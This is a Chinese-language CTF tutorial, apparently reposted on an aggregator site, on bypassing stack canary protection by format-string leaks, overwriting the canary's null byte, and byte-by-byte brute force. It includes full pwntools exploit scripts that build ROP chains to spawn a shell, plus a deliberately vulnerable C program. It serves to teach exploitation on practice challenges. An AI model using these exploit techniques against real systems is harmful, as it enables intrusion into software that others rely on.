Canary,三种优雅姿势绕过

Canary(金丝雀),栈溢出保护

  1. canary保护是防止栈溢出的一种措施,其在调用函数时,在栈帧的上方放入一个随机值 ,绕过canary时首先需要泄漏这个随机值,然后再钩爪ROP链时将其作为垃圾数据写入,注意要放在rbp的前面,下面调试来观察随机值:

    image-20240630104806257

    1. 可以看到,在调用的函数的开头将rax作为随机值放入到了rbp上放的栈上

    image-20240630105026803

    image-20240630105225422

    1. 在函数的结尾,将随机值取出后,与本来的随机值做了对比,相同的才会返回,不同就会报错。
  2. 在进行栈溢出时,如果程序开启了canary保护,首先就需要泄漏这个随机值,否则其被覆盖掉后,程序在退出时再检查该值,会引发错误。

1. 利用printf格式化字符串 泄漏随机值。

  1. 先确定 随机值 相对于 格式化字符串 的位置,再利用 %n7$p 来输出该位置的内容,然后就是常规的栈溢出ROP构造,但此时要注意将泄漏出来的 canary 填充再rbp位置的前面:

  2. 例题:BUUCTF在线评测 (buuoj.cn)

from pwn import *
from LibcSearcher import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
p = remote("node5.buuoj.cn",29861)
elf = ELF('./bjdctf_2020_babyrop2')
#获取got、plt地址
got = elf.got['puts']
plt = elf.plt['puts']
print(hex(got),hex(plt))

p.recvuntil(b"I'll give u some gift to help u!\n")
#泄漏canary
p.sendline(b'%7$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
print("canary:",hex(canary))

#获取传参地址
pop_rdi_ret = 0x0000000000400993
#获取返回地址,便于下一次利用栈溢出
main_addr = 0x400887
print(hex(main_addr))
ret = 0x00000000004005f9

#构造payload,获得puts函数的地址,注意绕过canary,在rbp前面填充canary,计算canary前后填充的垃圾数据
payload = b'a'*(0x18)+p64(canary)+b'a'*8+p64(pop_rdi_ret)+p64(got)+p64(plt)+p64(main_addr)
p.sendline(payload)
p.recvuntil(b'Pull up your sword and tell me u story!\n')
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
libc = LibcSearcher('puts',addr)
libc_base = addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
str_bin = libc_base + libc.dump('str_bin_sh')
print(hex(libc_base),hex(sys_addr),hex(str_bin))

p.recvuntil(b'Pull up your sword and tell me u story!\n')
#第二次利用栈溢出
payload = b'a'*(0x18)+p64(canary)+b'a'*8+p64(ret)+p64(pop_rdi_ret)+p64(str_bin)+p64(sys_addr)+p64(main_addr)
p.sendline(payload)
#p.sendline(b'cat flag')
# 与远程交互
p.interactive()


2. 覆盖截断字符获取canary

  1. Canry的最底一个字节设计为b’\x00’,是为了防止put,write,printf登将canary读出。如果利用栈溢出将最低位的b’\x00’覆盖,就可以利用答应函数将canary一致输出,最后再在最低位拼接上 b'\x00'就可以得到canary。

  2. 实例:

    // test.c
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    void getshell(void) {
        system("/bin/sh");
    }
    void init() {
        setbuf(stdin, NULL);
        setbuf(stdout, NULL);
        setbuf(stderr, NULL);
    }
    void vuln() {
        char buf[100];
        for(int i=0;i<2;i++){
            read(0, buf, 0x200);
            printf(buf);
        }
    }
    int main(void) {
        init();
        puts("Hello Hacker!");
        vuln();
        return 0;
    }
    
    
  3. 覆盖canary的最后一个字节,并从新组成canary:

    1. 首先确定要覆盖的位置,由于是 小端序 所以最后一个字节在高位,找到canary的偏移 var_c 后于 buf 相减再加一就可以指向canary的最低字节处,将其覆盖位a(注意使用send发送,不要最后的 回车符 )接受返会后要 拼接canary

      image-20240630204202081

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    p = process("./test")
    p.recvuntil(b'Hello Hacker!\n')
    #发送var_c-buf+1个 b'a',最后一个a可以覆盖掉canary的最低字节 b`\x00`
    payload = b'a'*(0x70-0xc+1)
    p.send(payload)
    #接受返回后从行拼接canary
    canary = p.recv()[0x65:0x68]
    canary = canary.rjust(4,b'\x00')
    print(hex(u32(canary)))
    
    1. 再利用canary绕过金丝雀。

      shell = 0x080491B6
      #canary后面还有0xc个字节才到返回地址,而不是仅查一个ebp(4个字节)
      payload = b'a'*(0x70-0xc)+canary+b'a'*(0x8+4)+p32(shell)
      p.sendline(payload)
      # 与远程交互
      p.interactive()
      

3. 逐字节爆破

题目地址:pwn

注意:canary爆破时,利用栈溢出,溢出到canary位置,从低位到高位 逐次覆盖掉canary的4个字节(一位无法绕过低位字节堆高位进行爆破,所以必须从低到高),且要求canary不能变化,绕过重开程序canary变化,就不适用爆破了。

  1. 函数的主逻辑在ctfshow,前面的函数基本无用,ctfshow中存在栈溢出:

    image-20240706175916809

  2. 爆破脚本:

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    for i in range(0xff):
        p = remote("pwn.challenge.ctf.show",28104)
        p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
        p.sendline(b'100')
        p.recv()
        payload = b'a'*(32)+int.to_bytes(i)
        p.send(payload)
        data = p.recv()
        if b"Canary Value Incorrect!\n" not in  data:
            canary = data
            print(canary,i)
            break
    
    

    第一次爆破出来是:

    image-20240706183936688

    下面爆破第二个:

    from pwn import *
    
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    for i in range(0xff):
        p = remote("pwn.challenge.ctf.show",28104)
        p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
        p.sendline(b'100')
        p.recv()
        payload = b'a'*(32)+int.to_bytes(51)+int.to_bytes(i)
        p.send(payload)
        data = p.recv()
        if b"flag" in  data:
            canary = data
            print(canary,i)
            break
    
    

    image-20240706184045278

    第三个:

    from pwn import *
    
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    for i in range(0xff):
        p = remote("pwn.challenge.ctf.show",28104)
        # p = process('./pwn')
        # elf = ELF('./pwn')
        p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
        p.sendline(b'100')
        p.recv()
        payload = b'a'*(32)+int.to_bytes(51)+int.to_bytes(54)+int.to_bytes(i)
        p.send(payload)
        data = p.recv()
        if b"flag" in  data:
            canary = data
            print(canary,i)
            break
    

    image-20240706184250681

    第四个:

    from pwn import *
    
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    for i in range(0xff):
        p = remote("pwn.challenge.ctf.show",28104)
        p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
        p.sendline(b'100')
        p.recv()
        payload = b'a'*(32)+int.to_bytes(51)+int.to_bytes(54)+int.to_bytes(68)+int.to_bytes(i)
        p.send(payload)
        data = p.recv()
        if b"flag" in  data:
            canary = data
            print(canary,i)
            break
    

    image-20240706184354494

  3. 所以最后canary确定为0x21443633。注意大小端序,最后验证爆破的canary:

    from pwn import *
    
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    p = remote("pwn.challenge.ctf.show",28104)
    p.recvuntil(b"How many bytes do you want to write to the buffer?\n>")
    p.sendline(b'100')
    p.recv()
    payload = b'a'*(32)+p32(0x21443633)+b'a'*(0xc+4)+p32(0x08048696)
    p.send(payload)
    p.recv()
    p.interactive()
    
    

    image-20240706184952360

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/778329.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

编程上下文Context及其实现原理

编程上下文Context及其实现原理 author:shengfq date:2024-07-06 title:编程上下文Context及其实现原理 category:编程思想1.编程中的上下文Context是指什么? 在编程和软件工程领域&#xff0c;“上下文”&#xff08;Context&#xff09;是一个多义词&#xff0c;其含义可以…

开始尝试从0写一个项目--后端(二)

实现学生管理 新增学生 接口设计 请求路径&#xff1a;/admin/student 请求方法&#xff1a;POST 请求参数&#xff1a;请求头&#xff1a;Headers&#xff1a;"Content-Type": "application/json" 请求体&#xff1a;Body&#xff1a; id 学生id …

VideoAgent——使用大规模语言模型作为代理来理解长视频

概述 论文地址&#xff1a;https://arxiv.org/pdf/2403.10517 本研究引入了一个新颖的基于代理的系统&#xff0c;名为 VideoAgent。该系统以大规模语言模型为核心&#xff0c;负责识别关键信息以回答问题和编辑视频。VideoAgent 在具有挑战性的 EgoSchema 和 NExT-QA 基准上进…

MySQL架构和工作流程

引言&#xff1a;MySQL执行一条sql语句期间发生了什么&#xff1f; 想要搞清楚这个问题&#xff0c;我们必须了解MySQL的体系结构和工作流程 一、MySQL体系结构 MySQL由以下几个部分组成 一、server层 1.MySQL Connnectors连接器&#xff0c;MySQL的连接池组件&#xff0c;…

【vue组件库搭建05】vitePress中使用vue/antd/demo预览组件

一、vitepress使用vue及antd组件 1.安装antd之后在docs\.vitepress\theme\index.ts引入文件 // https://vitepress.dev/guide/custom-theme import { h } from vue import type { Theme } from vitepress import DefaultTheme from vitepress/theme import ./style.css impor…

React 19 竞态问题解决

竞态问题/竞态条件 指的是&#xff0c;当我们在交互过程中&#xff0c;由于各种原因导致同一个接口短时间之内连续发送请求&#xff0c;后发送的请求有可能先得到请求结果&#xff0c;从而导致数据渲染出现预期之外的错误。 因为防止重复执行可以有效的解决竞态问题&#xff0…

试用笔记之-汇通Exe可执行文件之pe分析

首先下载汇通Exe可执行文件之pe分析 http://www.htsoft.com.cn/download/pedump.rar

苹果笔记本能玩网页游戏吗 苹果电脑玩steam游戏怎么样 苹果手机可以玩游戏吗 mac电脑安装windows

苹果笔记本有着优雅的机身、强大的性能&#xff0c;每次更新迭代都备受用户青睐。但是&#xff0c;当需要使用苹果笔记本进行游戏时&#xff0c;很多人会有疑问&#xff1a;苹果笔记本能玩网页游戏吗&#xff1f;苹果笔记本适合打游戏吗&#xff1f;本文将讨论这两个话题&#…

数据集 | 人脸公开数据集的介绍及下载地址

本文介绍了人脸相关算法的数据集。 1.人脸数据集详情 1.1.Labeled Faces in the Wild (LFW) 论文 下载地址&#xff1a;LFW Face Database : Main (umass.edu) 是目前人脸识别的常用测试集&#xff0c;其中提供的人脸图片均来源于生活中的自然场景&#xff0c;因此识别难度会…

Google Play上架:恶意软件、移动垃圾软件和行为透明度详细解析和解决办法 (一)

近期整理了许多开发者的拒审邮件和内容,也发现了许多问题,今天来说一下关于恶意软件这类拒审的问题。 目标邮件如下: 首先说一下各位小伙伴留言私信的一个方法,提供你的拒审邮件和时间,尽可能的详细,这样会帮助我们的团队了解你们的问题,去帮助小伙伴么解决问题。由于前…

【CUDA】 扫描 Scan

Scan Scan操作是许多应用程序中常见的操作。扫描操作采用一个二元运算符⊕和一个输入数组并计算输出数组如下&#xff1a; [x0,(x0⊕x1),…,( x0⊕x1⊕…..⊕xn-1)] 分层扫描和多种Scan算法介绍 Kogge-Stones Algorithm Kogge-Stones Algorithm最初是为设计快速加法电路而发…

【pytorch19】交叉熵

分类问题的loss MSECross Entropy LossHinge Loss &#xff08;SVN用的比较多&#xff09; ∑ i m a x ( 0 , 1 − y i ∗ h θ ( x i ) ) \sum_imax(0,1-y_i*h_\theta(x_i)) ∑i​max(0,1−yi​∗hθ​(xi​)) Entropy&#xff08;熵&#xff09; Uncertainty&#xff08;…

解决obsidian加粗中文字体显示不突出的问题

加粗字体显示不突出的原因&#xff1a;默认字体的加粗版本本来就不突出 解决方法&#xff1a;改成显示突出的类型Microsoft YaHei UI 【效果】 修改前&#xff1a;修改后&#xff1a; 其他方法&#xff1a; 修改css&#xff08;很麻烦&#xff0c;改半天也不一定奏效&#…

容器:stack

以下是关于stack容器的一些总结&#xff1a; stack容器比较简单&#xff0c;主要包括&#xff1a; 1、构造函数&#xff1a;stack [staName] 2、添加、删除元素: push() 、pop() 3、获取栈顶元素&#xff1a;top() 4、获取栈的大小&#xff1a;size() 5、判断栈是否为空&#x…

Codeforces Round 903 (Div. 3)A~F

A.Dont Try to Count 输入样例&#xff1a; 12 1 5 a aaaaa 5 5 eforc force 2 5 ab ababa 3 5 aba ababa 4 3 babb bbb 5 1 aaaaa a 4 2 aabb ba 2 8 bk kbkbkbkb 12 2 fjdgmujlcont tf 2 2 aa aa 3 5 abb babba 1 19 m mmmmmmmmmmmmmmmmmmm输出样例&#xff1a; 3 1 2 -1 1 0…

django之url路径

方式一&#xff1a;path 语法&#xff1a;<<转换器类型:自定义>> 作用&#xff1a;若转换器类型匹配到对应类型的数据&#xff0c;则将数据按照关键字传参的方式传递给视图函数 类型&#xff1a; str: 匹配除了”/“之外的非空字符串。 /test/zvxint: 匹配0或任何…

【IO】文件操作

&#x1f970;&#x1f970;&#x1f970;来都来了&#xff0c;不妨点个关注叭&#xff01; &#x1f449;博客主页&#xff1a;欢迎各位大佬!&#x1f448; 文章目录 1. 文件1.1 认识文件1.2 分清操作的是内存还是硬盘1.3 路径1.3.1 目录结构1.3.2 相对和绝对路径 1.4 文本文件…

计算机网络——数据链路层(以太网扩展、虚拟局域网、高速以太网)

在许多情况下&#xff0c;我们希望把以太网的覆盖范围扩展。本节先讨论在物理层把以太网扩展&#xff0c;然后讨论在数据链路层把以太网扩展。这种扩展的以太网在网络层看来仍然是一个网络。 在物理层扩展以太网 现在&#xff0c;扩展主机和集线器之间的距离的一种简单方法就是…

Spring源码十四:Spring生命周期

上一篇我们在Spring源码十三&#xff1a;非懒加载单例Bean中看到了Spring会在refresh方法中去调用我们的finishBeanFactoryInitialization方法去实例化&#xff0c;所有非懒加载器单例的bean。并实例化后的实例放到单例缓存中。到此我们refresh方法已经接近尾声。 Spring的生命…

【前端实现】在父组件中调用公共子组件:注意事项逻辑示例 + 将后端数组数据格式转换为前端对象数组形式 + 增加和删除行

【前端】在父组件中调用公共子组件的实现方法 写在最前面一、调用公共子组件子组件CommonRow.vue父组件ParentComponent.vue 二、实现功能1. 将后端数组数据格式转换为前端对象数组形式2. 增加和删除row 三、小结 &#x1f308;你好呀&#xff01;我是 是Yu欸 &#x1f30c; 2…